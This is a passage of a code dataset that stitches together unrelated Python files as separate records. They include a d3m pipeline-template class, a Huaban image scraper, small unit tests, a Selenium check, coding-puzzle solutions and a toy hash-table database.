self.primitive = d3m_index.search()\n self.argmentsmapper = {\n \"container\": metadata_base.ArgumentType.CONTAINER,\n \"data\": metadata_base.ArgumentType.DATA,\n \"value\": metadata_base.ArgumentType.VALUE,\n \"primitive\": metadata_base.ArgumentType.PRIMITIVE\n }\n self.stepcheck = None # Generate a step check matrix\n\n self.step_number = {}\n self.addstep_mapper = {\n (\"\",\n \"\"): \"d3m.primitives.data.DataFrameToNDArray\",\n # (\"\", \"\"): \"d3m.primitives.data_cleaning.imputer.SKlearn\",\n (\"\",\n \"\"): \"d3m.primitives.data.NDArrayToDataFrame\"\n }\n self.description_info = \"\"\n self.need_add_reference = False\n\n # Need to be set by subclass inheriting DSBoxTemplate\n # self.template = \"\"\n\n def __str__(self):\n if hasattr(self, 'template') and 'name' in getattr(self, 'template'):\n return f\"DSBoxTemplate:{self.template['name']}\"\n else:\n return f\"DSBoxTemplate:BLANK\"\n\n def __repr__(self):\n return self.__str__()\n\n def add_stepcheck(self):\n check = np.zeros(shape=(len(self.primitive), len(self.primitive))).astype(int)\n for i, v in enumerate(self.primitive.keys()):\n inputs = self.primitive[v].metadata.query()[\"primitive_code\"][\"class_type_arguments\"][\n \"Inputs\"]\n for j, u in enumerate(self.primitive.keys()):\n outputs = self.primitive[u].metadata.query()[\"primitive_code\"][\"class_type_arguments\"][\"Outputs\"]\n try:\n inp = inputs.__args__\n if outputs in inp:\n check[i][j] = 1\n except Exception:\n if inputs == outputs:\n check[i][j] = 1\n self.stepcheck = check\n\n def to_pipeline(self, configuration_point: ConfigurationPoint) -> Pipeline:\n \"\"\"\n converts the configuration point to the executable pipeline based on\n ta2 competitions format\n Args:\n configuration_point (ConfigurationPoint):\n\n Returns:\n The executable pipeline with full hyperparameter settings\n\n Examples:\n configuration_point =\n {\n \"my_step1\" : {\n \"primitive\": \"dsbox.a.b\",\n \"hyperparameters\": {\n \"x\": 1\n }\n },\n \"my_step2\" : {\n \"primitive\": \"sklearn.a.b\",\n \"hyperparameters\": {}\n }\n }\n dstemp = DSBoxTemplate(...)\n dstemp.to_pipeline(configuration_point)\n \"\"\"\n # print(\"*\" * 20)\n # print(\"[INFO] to_pipeline:\")\n # pprint(configuration_point)\n # return self._to_pipeline(configuration_point)\n\n # add inputs to the configuration point\n ioconf = self.add_inputs_to_confPonit(configuration_point)\n\n # binding = configuration_point\n binding, sequence = self.add_intermediate_type_casting(ioconf)\n # print(\"[INFO] Binding:\")\n # pprint(binding)\n return self._to_pipeline(binding, sequence)\n\n def add_inputs_to_confPonit(self,\n configuration_point: ConfigurationPoint) -> ConfigurationPoint:\n\n io_conf = copy.deepcopy(configuration_point)\n for step in self.template['steps']:\n io_conf[step['name']]['inputs'] = step['inputs']\n return io_conf\n\n def add_intermediate_type_casting(\n self, configuration_point: ConfigurationPoint) \\\n -> ConfigurationPoint:\n \"\"\"\n This method parses the information in the template and adds the\n necessary type casting primitives in the pipeline. These type\n information is associated with each individual primitive present in\n the template and is governed by d3m's primitive rules.\n Args:\n configuration_point: Configuration\n\n Returns:\n binding: Configuration\n\n \"\"\"\n # binding = ....\n binding = configuration_point\n checked_binding = {}\n sequence = []\n # for step in self.template[\"steps\"]:\n for step_num, step in enumerate(self.template[\"steps\"]):\n # First element in the inputs array is always the input of the\n # step in configuration point. In order to check the need for\n # adding intermediate step we first extract metadata information\n # of steps and by comparing the IO type information we decide on\n # whether intermediate type caster is necessary or not\n\n inputs = step[\"inputs\"]\n fill_in = copy.deepcopy(inputs)\n name = step[\"name\"]\n for in_arg in inputs:\n in_primitive_value = d3m_index.get_primitive(binding[name][\"primitive\"]).metadata.query()[\n \"primitive_code\"][\"class_type_arguments\"][\"Inputs\"]\n\n if in_arg == \"template_input\":\n continue\n\n # Check if the input name is valid and available in template\n if in_arg not in binding:\n print(\"[ERROR] step {} input {} is not available!\".format(step_num, in_arg))\n print(\"binding: \")\n pprint(binding)\n return 1\n\n # get information of the producer of the input\n out_primitive_value = \\\n d3m_index.get_primitive(binding[in_arg][\"primitive\"]).metadata.query()[\n \"primitive_code\"][\"class_type_arguments\"][\"Outputs\"]\n if not self.iocompare(in_primitive_value,\n out_primitive_value):\n check_key = (str(out_primitive_value),\n str(in_primitive_value))\n print(\"[INFO] Different types!\")\n try:\n # inter_name = \"{}_{}_{}\".format(name,in_arg,solution)\n solution = self.addstep_mapper[check_key]\n inter_name = \"{}_{}_{}\".format(name, in_arg, solution)\n intermediate_step = {\n \"primitive\": solution,\n \"hyperparameters\": {},\n \"inputs\": [in_arg]\n }\n # binding[inter_name] = intermediate_step\n # binding[name]['inputs'][0] = inter_name\n # checked_binding[inter_name] = intermediate_step\n pos = binding[name][\"inputs\"].index(in_arg)\n # checked_binding[name][\"inputs\"][pos] = inter_name\n checked_binding[inter_name] = intermediate_step\n fill_in[pos] = in_arg\n sequence.append(inter_name)\n print(\"[INFO] \", solution, \"added to step\",\n name)\n except:\n print(\"Warning!\", name,\n \"'s primitive\",\n # Fixme:\n # conf_step[-1][\"primitive\"],\n \"'s inputs does not match\",\n binding[in_arg][-1][\"primitive\"],\n \"and there is no converter found\")\n\n # temporary fix for CMU clustering tempalte (with special input called \"reference\")\n\n mystep = {\n \"primitive\": binding[name][\"primitive\"],\n \"hyperparameters\": binding[name][\"hyperparameters\"],\n \"inputs\": fill_in\n }\n\n if \"runtime\" in step:\n mystep[\"runtime\"] = step[\"runtime\"]\n\n sequence.append(name)\n checked_binding[name] = mystep\n\n return checked_binding, sequence\n\n def iocompare(self, i, o):\n try:\n i = i.__args__\n if (o in i) or (i in o):\n return True\n except Exception:\n if o == i:\n return True\n return False\n\n def bind_primitive_IO(self, primitive: PrimitiveStep, *templateIO):\n # print(templateIO)\n if len(templateIO) > 0:\n primitive.add_argument(\n name=\"inputs\",\n argument_type=metadata_base.ArgumentType.CONTAINER,\n data_reference=templateIO[0])\n\n if len(templateIO) > 1:\n arguments = primitive.primitive.metadata.query()['primitive_code']['instance_methods'][\n 'set_training_data']['arguments']\n if \"outputs\" in arguments:\n # Some primitives (e.g. GreedyImputer) require \"outputs\", while others do\n # not (e.g. MeanImputer)\n primitive.add_argument(\"outputs\", metadata_base.ArgumentType.CONTAINER,\n templateIO[1])\n if len(templateIO) > 2:\n raise exceptions.InvalidArgumentValueError(\n \"Should be less than 3 arguments!\")\n\n def _to_pipeline(self, binding, sequence) -> Pipeline:\n \"\"\"\n Args:\n binding:\n\n Returns:\n\n \"\"\"\n\n # define an empty pipeline with the general dataset input primitive\n # generate empty pipeline with i/o/s/u =[]\n # pprint(binding)\n # print(sequence)\n # print(\"[INFO] list:\",list(map(str, metadata_base.Context)))\n pipeline = Pipeline(name=self.template['name'] + \":\" + str(id(binding)),\n context=metadata_base.Context.PRETRAINING,\n description=self.description_info) # 'PRETRAINING'\n templateinput = pipeline.add_input(\"input dataset\")\n\n # save temporary output for another step to take as input\n outputs = {}\n outputs[\"template_input\"] = templateinput\n\n # iterate through steps in the given binding and add each step to the\n # pipeline. The IO and hyperparameter are also handled here.\n for i, step in enumerate(sequence):\n self.step_number[step] = i\n # primitive_step = PrimitiveStep(self.primitive[binding[step][\n # \"primitive\"]].metadata.query())\n primitive_name = binding[step][\"primitive\"]\n if primitive_name in self.primitive:\n primitive_desc = dict(d3m_index.get_primitive(primitive_name).metadata.query())\n\n primitive_step = PrimitiveStep(primitive_desc)\n\n # D3M version v2019.1.21 removes primitive description. Need another way\n # to pass \"runtime\"\n if \"runtime\" in binding[step]:\n # primitive_desc[\"runtime\"] = binding[step][\"runtime\"]\n primitive_step.__dict__['_dsbox_runtime'] = binding[step][\"runtime\"]\n # print('==== ', primitive_step._dsbox_runtime)\n\n else:\n raise exceptions.InvalidArgumentValueError(\"Error, can't find the primitive : \",\n primitive_name)\n\n if binding[step][\"hyperparameters\"] != {}:\n hyper = binding[step][\"hyperparameters\"]\n for hyperName in hyper:\n primitive_step.add_hyperparameter(\n # argument_type should be fixed type not the type of the data!!\n name=hyperName, argument_type=self.argmentsmapper[\"value\"],\n data=hyper[hyperName])\n\n if self.need_add_reference and primitive_name == 'd3m.primitives.data_transformation.construct_predictions.DataFrameCommon':\n primitive_step.add_argument(\"reference\",metadata_base.ArgumentType.CONTAINER,\"steps.0.produce\")\n\n templateIO = binding[step][\"inputs\"]\n\n # first we need to extract the types of the primtive's input and\n # the generators's output type.\n # then we need to compare those and in case we have different\n # types, add the intermediate type caster in the pipeline\n # print(outputs)\n self.bind_primitive_IO(primitive_step,\n *map(lambda io: outputs[io], templateIO))\n pipeline.add_step(primitive_step)\n # pre v2019.1.21\n # outputs[step] = primitive_step.add_output(\"produce\")\n primitive_step.add_output(\"produce\")\n outputs[step] = f'steps.{primitive_step.index}.produce'\n # END FOR\n\n # Add final output as the prediction of target attribute\n general_output = outputs[self.template[\"steps\"][-1][\"name\"]]\n # print(general_output)\n pipeline.add_output(general_output, \"predictions of input dataset\")\n\n return pipeline\n\n def generate_configuration_space(self) -> SimpleConfigurationSpace:\n steps = self.template[\"steps\"]\n conf_space = {}\n for each_step in steps:\n name = each_step[\"name\"]\n values = []\n\n # description: typing.Dict\n for description in each_step[\"primitives\"]:\n value_step = []\n # primitive with no hyperparameters\n if isinstance(description, str):\n value_step.append({\n \"primitive\": description,\n \"hyperparameters\": {}\n })\n # one primitive with hyperparamters\n elif isinstance(description, dict):\n value_step += self.description_to_configuration(description)\n # list of primitives\n elif isinstance(description, list):\n for prim in description:\n value_step += self.description_to_configuration(prim)\n else:\n # other data format, not supported, raise error\n print(\"Error: Wrong format of the description: \"\n \"Unsupported data format found : \", type(description))\n\n values += value_step\n\n # END FOR\n if len(values) > 0:\n conf_space[name] = values\n # END FOR\n return SimpleConfigurationSpace(conf_space)\n\n def description_to_configuration(self, description):\n value = []\n # if the desciption is an dictionary:\n # it maybe a primitive with hyperparameters\n if \"primitive\" not in description:\n print(\"Error: Wrong format of the configuration space data: \"\n \"No primitive name found!\")\n else:\n if \"hyperparameters\" not in description:\n description[\"hyperparameters\"] = {}\n\n # go through the hypers and if anyone has empty value just remove it\n hyperDict = dict(filter(lambda kv: len(kv[1]) > 0,\n description[\"hyperparameters\"].items()))\n\n # go through the hyper values for single tuples and convert them\n # to a list with single tuple element\n hyperDict = dict(map(\n lambda kv:\n (kv[0], [kv[1]]) if isinstance(kv[1], tuple) else (kv[0], kv[1]),\n hyperDict.items()\n ))\n\n # iterate through all combinations of the hyperparamters and add\n # each as a separate configuration point to the space\n for hyper in _product_dict(hyperDict):\n value.append({\n \"primitive\": description[\"primitive\"],\n \"hyperparameters\": hyper,\n })\n return value\n\n def get_target_step_number(self):\n # self.template[0].template['output']\n return self.step_number[self.template['output']]\n\n def get_output_step_number(self):\n return self.step_number[self.template['output']]\n\n\ndef _product_dict(dct):\n keys = dct.keys()\n vals = dct.values()\n for instance in product(*vals):\n yield dict(zip(keys, instance))\n","sub_path":".travis/template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":16736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"330231042","text":"import requests\nfrom bs4 import BeautifulSoup\nimport re\nimport random\nimport time\nimport os\nimport hashlib\n\nclass BaseSpider(object):\n def __init__(self):\n pass\n\n def get_html(self, url):\n headers = [\n 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36',\n 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',\n 'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0'\n ]\n header = {'user-agent': random.choice(headers)}\n\n rep = requests.get(url,headers=header)\n # time.sleep(random.random())\n if rep.status_code is 200:\n return rep.text\n else:\n return ''\n\n\n def parse_html(self, content, pattern):\n result = re.findall(pattern, content, re.S)\n\n return result\n\n def delete_like_img(self, path):\n md5_list = []\n img_list = os.listdir(path)\n for img in img_list:\n img = path + img\n f = open(img,'rb')\n md5obj = hashlib.md5()\n md5obj.update(f.read())\n hash = md5obj.hexdigest()\n f.close()\n md5 = str(hash).upper()\n if md5 in md5_list:\n print('已删除重复图片: %s'%img)\n os.remove(img)\n else:\n md5_list.append(md5)\n\n\nclass HuabanSpider(object):\n\n def __init__(self):\n self.base_url = 'http://huaban.com/search/?q=%s'\n self.url_info = '&page=%s&per_page=20'\n\n\n def get_image(self, result_list):\n total_num = len(result_list)\n successs_num = 0\n for result in result_list:\n url = 'http://img.hb.aicdn.com/%s_/fw/10000'%result\n content = requests.get(url).content\n # time.sleep(random.random())\n self.save_img(content, result)\n successs_num += 1\n print('本页面搜索到%s张图片,成功保存%s张图片' % (total_num, successs_num))\n\n def save_img(self, content, id):\n suffix = str(time.time()).split('.')[1]\n path = '%s/'%self.search_key\n isExists=os.path.exists(path)\n if not isExists:\n os.makedirs(path)\n r_name = '%s/%s_%s_%s.jpg' % (self.search_key, self.search_key, suffix, id)\n with open(r_name, 'wb') as f:\n f.write(content)\n\n def run(self):\n url_prefix = self.base_url%self.search_key\n if self.total_page == 0:\n num = 20000\n else:\n num = self.total_page\n for i in range(1, num):\n bs = BaseSpider()\n url = url_prefix + self.url_info%i\n print('正在抓取第%s页'%i)\n content = bs.get_html(url)\n pattern = r'\"pin_id\":.*?\"key\":\"(.*?)\",.*?key.*?extra.*?'\n result_list = bs.parse_html(content, pattern)\n if not result_list:\n break\n self.get_image(result_list)\n bs.delete_like_img('%s/'%self.search_key)\n\n\nif __name__ == '__main__':\n hbspider = HuabanSpider()\n hbspider.search_key = input('请输入要抓取的关键字: ')\n hbspider.total_page = int(input('请输入要爬取得总页码数(每页默认20张图片,如果不限制,请输入数字0,或者输入需要的页码数): '))\n hbspider.run()","sub_path":"爬虫/花瓣网图片下载/花瓣网图片下载.py","file_name":"花瓣网图片下载.py","file_ext":"py","file_size_in_byte":3332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"354361045","text":"#!/usr/bin/env python3\n\n# Copyright (C) 2015 Matt Doyle\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n# use this file except in compliance with the License. You may obtain a copy of\n# the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations under\n# the License.\n\n# Base test case for python-tools modules.\n\nimport mock\nimport unittest\n\n\nclass TestCase(unittest.TestCase):\n\n def PatchObject(self, target, attribute, **kwargs):\n patcher = mock.patch.object(target, attribute, **kwargs)\n self.addCleanup(patcher.stop)\n return patcher.start()\n","sub_path":"testcase.py","file_name":"testcase.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"357825161","text":"# Using break to Exit a Loop\n# To exit while loop immediately without running any remaining code in the loop, regardless of the results of any conditional test, use the break statement. \n# The break statement directs the flow of your program: you can use it to control which lines of code are executed and which aren't, to the program only executes code that you want it to, when you want it to.\n# For example, consider a program that asks the user about places they've visited. We can stop the while loop in this program by calling break as soon as the user enters the 'quit' value:\n\n\nprompt = \"\\nPlease enter the name of a city you have visited:\"\nprompt += \"\\n(Enter 'quit' when you are finished.) \"\n\nwhile True:\n city = input(prompt)\n\n if city == 'quit':\n break \n else:\n print(\"I'd love to go to \" + city.title() + \"!\")\n \n\n# A loop that starts with while True will run forever unless it reaches a break statement. The loop in this program continues asking the user to enter the names of cities they've been to until they enter 'quit'. \n# When they enter 'quit', the break statement runs, causing Python to exit the loop:\n\n# You can use the break statement in any of Python's loops. For example, you could use break to quit a for loop that's working through a list or a dictionary.","sub_path":"chapter_07/break_to_exit_loop.py","file_name":"break_to_exit_loop.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"145700414","text":"import time\nfrom selenium import webdriver\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.webdriver.common.by import By\n\n\nlink = \"http://selenium1py.pythonanywhere.com/catalogue/coders-at-work_207/\"\n\n\ndef test_check_add_to_basket_button(browser: webdriver.Chrome):\n print(\"start test\")\n browser.get(link)\n # time.sleep(30)\n browser.implicitly_wait(10)\n try:\n button = browser.find_element(By.CLASS_NAME, \"btn-add-to-basket\")\n print(f\"button text = {button.text}\")\n except NoSuchElementException:\n assert False, 'button has not find'\n print(\"finish test1\")","sub_path":"test_items.py","file_name":"test_items.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"233327543","text":"from d4rl.offline_env import OfflineEnv\nfrom ICQ.icq import ICQ\nimport argparse\nimport gym\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--algorithm\", default=\"ICQ\")\n parser.add_argument(\"--env\",\n default=\"antmaze-umaze-diverse-v0\") # hopper-random-v0\n parser.add_argument(\"--exp_name\", default=\"data/dump\")\n parser.add_argument(\"--num_expert_trajs\", default=5, type=int)\n parser.add_argument(\"--seed\", default=100, type=int)\n args = parser.parse_args()\n env_fn = gym.make(args.env)\n env_name = args.env\n\n if 'ICQ' in args.algorithm:\n agent = ICQ(env_fn,\n env_name,\n logger_kwargs={\n 'output_dir': args.exp_name + '_s' + str(args.seed),\n 'exp_name': args.exp_name\n },\n batch_size=1024,\n seed=args.seed,\n algo=args.algorithm)\n else:\n raise NotImplementedError\n\n agent.populate_replay_buffer()\n agent.run()","sub_path":"run_agent.py","file_name":"run_agent.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"620993276","text":"# Copyright 2013 Donald Stufft\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport pytest\n\nfrom warehouse.datastructures import AttributeDict\n\n\ndef test_basic_attribute_dict_access():\n adict = AttributeDict({\n \"foo\": None,\n \"bar\": \"Success!\"\n })\n\n assert adict.foo is adict[\"foo\"]\n assert adict.bar is adict[\"bar\"]\n\n\ndef test_attribute_dict_unknown_access():\n adict = AttributeDict()\n\n with pytest.raises(AttributeError):\n adict.unknown\n\n\ndef test_convert_to_attribute_dict():\n adict = AttributeDict({\"a\": {\"b\": 1, \"c\": 2}})\n\n assert adict.a == {\"b\": 1, \"c\": 2}\n assert adict.a.b == 1\n assert adict.a.c == 2\n","sub_path":"tests/test_datastructures.py","file_name":"test_datastructures.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"463298936","text":"from typing import List\n\nclass Solution:\n \"\"\"\n 529. 扫雷游戏\n https://leetcode-cn.com/problems/minesweeper/\n 给定一个代表游戏板的二维字符矩阵。 'M' 代表一个未挖出的地雷,'E' 代表一个未挖出的空方块,'B' 代表没有相邻(上,下,左,右,和所有4个对角线)地雷的已挖出的空白方块,数字('1' 到 '8')表示有多少地雷与这块已挖出的方块相邻,'X' 则表示一个已挖出的地雷。\n 现在给出在所有未挖出的方块中('M'或者'E')的下一个点击位置(行和列索引),根据以下规则,返回相应位置被点击后对应的面板:\n 1. 如果一个地雷('M')被挖出,游戏就结束了- 把它改为 'X'。\n 2. 如果一个没有相邻地雷的空方块('E')被挖出,修改它为('B'),并且所有和其相邻的未挖出方块都应该被递归地揭露。\n 3. 如果一个至少与一个地雷相邻的空方块('E')被挖出,修改它为数字('1'到'8'),表示相邻地雷的数量。\n 4. 如果在此次点击中,若无更多方块可被揭露,则返回面板。\n \"\"\"\n def updateBoard(self, board: List[List[str]], click: List[int]) -> List[List[str]]:\n # 定义8个方向\n direction = ((1, 0), (-1, 0), (0, 1), (0, -1), (1, 1), (-1, 1), (-1, -1), (1, -1))\n # 如果点击区域是雷区,直接返回\n if board[click[0]][click[1]] == 'M':\n board[click[0]][click[1]] = 'X'\n return board\n self.m, self.n = len(board), len(board[0])\n\n # 计算每个点周边的雷数\n def check(i, j):\n cnt = 0\n for x, y in direction:\n x, y = x + i, y + j\n if 0 <= x < self.m and 0 <= y < self.n and board[x][y] == 'M':\n cnt += 1\n return cnt\n\n def dfs(i, j):\n cnt = check(i, j)\n if not cnt:\n board[i][j] = 'B'\n for x, y in direction:\n x, y = x + i, y + j\n if 0 <= x < self.m and 0 <= y < self.n and board[x][y] == 'E': dfs(x, y)\n else:\n board[i][j] = str(cnt)\n\n dfs(click[0], click[1])\n return board\n\nso = Solution()\nprint(so.updateBoard([['E', 'E', 'E', 'E', 'E'],\n ['E', 'E', 'M', 'E', 'E'],\n ['E', 'E', 'E', 'E', 'E'],\n ['E', 'E', 'E', 'E', 'E']], [3,0]\n))\n","sub_path":"bfs.minesweeper.py","file_name":"bfs.minesweeper.py","file_ext":"py","file_size_in_byte":2434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"393592221","text":"from unittest.mock import patch\nfrom app.modules.domain.healthrecord import HealthRecord\n\n\n@patch('app.modules.domain.healthrecord.HealthRecord.fhir')\ndef test_init(mock_fhir):\n mock_fhir.get_id.return_value = ({}, 200)\n hr = HealthRecord(id=1)\n mock_fhir.get_id.return_value = ({}, 404)\n try:\n hr = HealthRecord(id=1)\n assert True == False\n except Exception as err:\n assert \"ID is invalid.\" == str(err)\n\n mock_fhir.query_patient.return_value = ({'total': 1, 'entry': [{'resource': {}}]}, 200)\n hr = HealthRecord.query_patient(patient_id=1)\n mock_fhir.query_patient.return_value = ({}, 400)\n try:\n hr = HealthRecord.query_patient(patient_id=1)\n assert True == False\n except Exception as err:\n assert \"FHIR Condition API ERROR or FHIR SYSTEM Down\" == str(err)\n\n hr = HealthRecord(hr={})\n\n\n@patch('app.modules.domain.healthrecord.HealthRecord.fhir')\ndef test_create(mock_fhir):\n date = \"2000-10-10\"\n patient_id = 1\n name = \"test\"\n identifier = \"H123456789\"\n code = \"1234\"\n medication = \"12345\"\n mock_fhir.create.return_value = return_value = ({\n \"resourceType\": \"Condition\",\n \"recordedDate\": date,\n \"subject\": {\n \"reference\": \"Patient/{}\".format(patient_id),\n \"display\": name,\n \"identifier\": {\n 'value': identifier\n },\n },\n \"code\": {\n \"text\": code\n },\n \"note\": {\n \"text\": medication\n }\n }, 201)\n hr = HealthRecord.create(patient_id, code, medication, date, identifier, name)\n assert hr.get() == return_value[0]\n\n mock_fhir.create.return_value = ({}, 400)\n try:\n hr = HealthRecord.create(patient_id, code, medication, date, identifier, name)\n assert True == False\n except Exception as err:\n assert \"health_record data is invalid.\" == str(err)\n\n\n@patch('app.modules.domain.healthrecord.HealthRecord.fhir')\ndef test_delete(mock_fhir):\n _hr = {\"id\": 0}\n hr = HealthRecord(hr=_hr)\n hr.delete()\n mock_fhir.delete.assert_called_once()\n\n\n@patch('app.modules.domain.healthrecord.HealthRecord.fhir')\ndef test_update(mock_fhir):\n _hr = {\n \"resourceType\": \"Condition\",\n \"id\": \"96\",\n \"meta\": {\n \"versionId\": \"1\",\n \"lastUpdated\": \"2019-12-18T15:29:03.000+00:00\"\n },\n \"code\": {\n \"text\": \"ghhgofh\"\n },\n \"subject\": {\n \"reference\": \"Patient/56\",\n \"identifier\": {\n \"value\": \"H123456789\"\n },\n \"display\": \"姓氏名字\"\n },\n \"recordedDate\": \"2019-12-18\",\n \"note\": [{\n \"text\": \"ghhggfh\"\n }]\n }\n\n hr = HealthRecord(hr=_hr)\n\n mock_fhir.update.return_value = (_hr, 200)\n hr.update(\"1\", \"2\", \"3\", \"4\")\n mock_fhir.update.return_value = (_hr, 400)\n try:\n hr.update(\"1\", \"2\", \"3\", \"4\")\n assert True == False\n except Exception as err:\n assert \"health_record data is invalid.\" == str(err)\n\n\n@patch('app.modules.domain.healthrecord.HealthRecord.fhir')\ndef test_get(mock_fhir):\n _hr = {\n \"resourceType\": \"Condition\",\n \"id\": \"96\",\n \"meta\": {\n \"versionId\": \"1\",\n \"lastUpdated\": \"2019-12-18T15:29:03.000+00:00\"\n },\n \"code\": {\n \"text\": \"ghhgofh\"\n },\n \"subject\": {\n \"reference\": \"Patient/56\",\n \"identifier\": {\n \"value\": \"H123456789\"\n },\n \"display\": \"姓氏名字\"\n },\n \"recordedDate\": \"2019-12-18\",\n \"note\": [{\n \"text\": \"ghhggfh\"\n }]\n }\n\n hr = HealthRecord(hr=_hr)\n\n assert hr.get() == _hr\n assert hr.id == \"96\"\n assert hr.code == \"ghhgofh\"\n assert hr.medication == \"ghhggfh\"\n assert hr.date == \"2019-12-18\"\n assert hr.identifier == \"H123456789\"\n assert hr.name == \"姓氏名字\"\n\n\n@patch('app.modules.domain.healthrecord.HealthRecord.fhir')\ndef test_get_all(mock_fhir):\n _hrs = {\n \"total\":\n 1,\n \"count\":\n 20,\n \"offset\":\n 0,\n \"entry\": [{\n \"resource\": {\n \"resourceType\": \"Condition\",\n \"id\": \"96\",\n \"meta\": {\n \"versionId\": \"1\",\n \"lastUpdated\": \"2019-12-18T15:29:03.000+00:00\"\n },\n \"code\": {\n \"text\": \"ghhgofh\"\n },\n \"subject\": {\n \"reference\": \"Patient/56\",\n \"identifier\": {\n \"value\": \"H123456789\"\n },\n \"display\": \"姓氏名字\"\n },\n \"recordedDate\": \"2019-12-18\",\n \"note\": [{\n \"text\": \"ghhggfh\"\n }]\n }\n }]\n }\n\n mock_fhir.get_all.return_value = return_value = (_hrs, 200)\n hrs = HealthRecord.get_all()\n mock_fhir.get_all.assert_called_once()\n\n mock_fhir.get_all.return_value = return_value = ({}, 400)\n\n try:\n hrs = HealthRecord.get_all()\n assert True == False\n except Exception as err:\n assert \"FHIR Condition API ERROR or FHIR SYSTEM Down\" == str(err)\n","sub_path":"tests/unit/domain/test_health_record_domain.py","file_name":"test_health_record_domain.py","file_ext":"py","file_size_in_byte":5303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"381430342","text":"import collections\n# Given an array of integers, every element appears three times except for one. Find that single one.\n#\n# Note:\n# Your algorithm should have a linear runtime complexity. Could you implement it without using extra memory?\n\n\nclass Solution:\n # @param A, a list of integer\n # @return an integer\n def singleNumber(self, A):\n words_counts = collections.Counter(A)\n odd = min(words_counts.items(), key = lambda k: k[1])\n return odd[0]\n\n\ns = Solution()\n# odd = heapq.nsmallest(1, words_counts, key=lambda x: x[1])\nl = [5, 2, 2, 2, 3, 3, 3]\nprint(s.singleNumber(l))\n# m = [17, 12, 5, -6, 12, 4, 17, -5, 2, -3, 2, 4, 5, 16, -3, -4, 15, 15, -4, -5, -6]\n# print(s.singleNumber(m))\n","sub_path":"Math/SingleNumberII.py","file_name":"SingleNumberII.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"531330511","text":"\n# Drawing Book\n\"\"\"\n 책에 페이지를 최소한의 수로 넘기는 방법 찾기\n \n 시작이나 끝부터 시작 가능하고\n 1page는 오른쪽 페이지부터 시작함\n 그다음은 마지막 페이지말고는 항상 양 페이지에 있음\n\n 페이지 수랑 찾고자하는 페이지가 잇을 때 최소한의 수로 넘기는 방법 찾기\n\n 1 <= n <= 10^5\n 1 <= p <= n\n\n ex)\n 6 총 6페이지\n 2 찾고자하는 페이지 \n 처음부터 시작 |1 -> 2|3 = 1번\n 끝부터 시작 6| -> 4|5 -> 3|4 = 2번\n 정답 1번\n\n 5\n 4\n |1 -> 2|3 -> 4|5 = 2\n 4|5 = 0\n -> 0\n\"\"\"\n\ndef pageCount(n, p):\n start = end = 0\n\n if n % 2 == 0: # 짝수면 마지막페이지 왼쪽\n book = [0, 1, n, n+1]\n else: # 홀수면 오른쪽\n book = [0, 1, n-1, n]\n\n while(True):\n # 페이지 찾기 검사\n if book.count(p) >= 1:\n break\n start += 1\n end += 1\n book[0] += 2\n book[1] += 2\n book[2] -= 2\n book[3] -= 2\n\n if start < end:\n return start\n else:\n return end\n\nif __name__ == '__main__':\n n = int(input())\n p = int(input())\n\n result = pageCount(n,p)\n print(result)","sub_path":"Drawing Book/Drawing_Book.py","file_name":"Drawing_Book.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"40869757","text":"import sys\nimport time\nfrom database import *\n\nclass database:\n def __init__(self):\n self.data = []\n self.dict = {}\n self.index = -1 #index of the last element in the list\n \n def insert(self,key,value):\n if key in self.dict:\n index = self.dict.get(key)\n self.data[index] = value\n else:\n self.data.append(value)\n self.index = self.index + 1\n index = self.index\n self.dict[key] = index\n\n def search(self,key):\n if key in self.dict:\n return self.data[self.dict.get(key)]\n return \"NOT PRESENT\"\n\n def delete(self,key):\n self.dict.pop(key)\n\nif __name__ == \"__main__\":\n db = database()\n print(\"HASH TABLE:\")\n print_result(db, sys.argv[1])\n ","sub_path":"q1_ml6363_sl7151/hash_table_db.py","file_name":"hash_table_db.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"521514012","text":"import json\nimport os\nimport amqp_setup\nfrom sqlalchemy import Table, Column, Integer, String, DateTime, 